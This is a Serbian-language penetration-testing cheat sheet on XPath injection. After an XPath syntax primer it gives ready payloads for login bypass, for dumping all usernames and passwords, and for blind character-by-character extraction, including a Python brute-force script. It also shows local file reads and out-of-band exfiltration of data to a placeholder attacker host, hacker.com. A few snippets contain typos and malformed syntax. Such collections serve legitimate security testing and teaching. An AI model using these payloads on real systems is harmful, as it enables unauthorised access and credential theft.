# XPATH injection

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## Basic Syntax

Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa za upit ili navigaciju XML dokumentima.

### Nodes Described

Izrazi se koriste za selektovanje različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sažeti u nastavku:

* **nodename**: Svi čvorovi sa imenom "nodename" su selektovani.
* **/**: Selekcija se vrši iz korenskog čvora.
* **//**: Čvorovi koji odgovaraju selekciji iz trenutnog čvora su selektovani, bez obzira na njihovu lokaciju u dokumentu.
* **.**: Trenutni čvor je selektovan.
* **..**: Roditelj trenutnog čvora je selektovan.
* **@**: Atributi su selektovani.

### XPath Examples

Primeri putanjskih izraza i njihovih rezultata uključuju:

* **bookstore**: Svi čvorovi nazvani "bookstore" su selektovani.
* **/bookstore**: Korenski element bookstore je selektovan. Napominje se da apsolutna putanja do elementa počinje sa kosom crtom (/).
* **bookstore/book**: Svi elementi knjiga koji su deca bookstore su selektovani.
* **//book**: Svi elementi knjiga u dokumentu su selektovani, bez obzira na njihovu lokaciju.
* **bookstore//book**: Svi elementi knjiga koji su potomci elementa bookstore su selektovani, bez obzira na njihovu poziciju pod elementom bookstore.
* **//@lang**: Svi atributi nazvani lang su selektovani.

### Utilization of Predicates

Predikati se koriste za preciziranje selekcija:

* **/bookstore/book\[1]**: Prvi element knjige kao dete elementa bookstore je selektovan. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
* **/bookstore/book\[last()]**: Poslednji element knjige kao dete elementa bookstore je selektovan.
* **/bookstore/book\[last()-1]**: Pretposlednji element knjige kao dete elementa bookstore je selektovan.
* **/bookstore/book\[position()<3]**: Prva dva elementa knjiga kao deca elementa bookstore su selektovana.
* **//title\[@lang]**: Svi elementi naslova sa atributom lang su selektovani.
* **//title\[@lang='en']**: Svi elementi naslova sa vrednošću atributa "lang" koja je "en" su selektovani.
* **/bookstore/book\[price>35.00]**: Svi elementi knjiga iz bookstore sa cenom većom od 35.00 su selektovani.
* **/bookstore/book\[price>35.00]/title**: Svi elementi naslova elemenata knjiga iz bookstore sa cenom većom od 35.00 su selektovani.

### Handling of Unknown Nodes

Džokeri se koriste za usklađivanje nepoznatih čvorova:

* **\***: Usklađuje se sa bilo kojim element čvorom.
* **@**\*: Usklađuje se sa bilo kojim atribut čvorom.
* **node()**: Usklađuje se sa bilo kojim čvorom bilo koje vrste.

Dalji primeri uključuju:

* **/bookstore/\***: Selektuje sve čvorove elemenata dece elementa bookstore.
* **//\***: Selektuje sve elemente u dokumentu.
* **//title\[@\*]**: Selektuje sve elemente naslova sa najmanje jednim atributom bilo koje vrste.

## Example
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### Pristupite informacijama
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
### Identifikacija i krađa šeme
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Authentication Bypass

### **Primer upita:**
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **OR zaobići u korisniku i lozinki (ista vrednost u oba)**
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field
```
### **Zloupotreba null injekcije**
```
Username: ' or 1]%00
```
### **Dupli OR u korisničkom imenu ili u lozinki** (važi samo za 1 ranjivo polje)

VAŽNO: Obratite pažnju da je **"and" prva operacija koja se izvršava**.
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
## String extraction

Izlaz sadrži stringove i korisnik može manipulisati vrednostima za pretragu:
```
/user/username[contains(., '+VALUE+')]
```

```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## Blind Explotation

### **Dobijanje dužine vrednosti i njeno izdvajanje poređenjem:**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
### **Python Primer**
```python
import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### Čitaj fajl
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
## OOB Eksploatacija
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
### Automatski alat

* [xcat](https://xcat.readthedocs.io/)
* [xxxpwn](https://github.com/feakk/xxxpwn)
* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
* [XmlChor](https://github.com/Harshal35/XMLCHOR)

## Reference

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)

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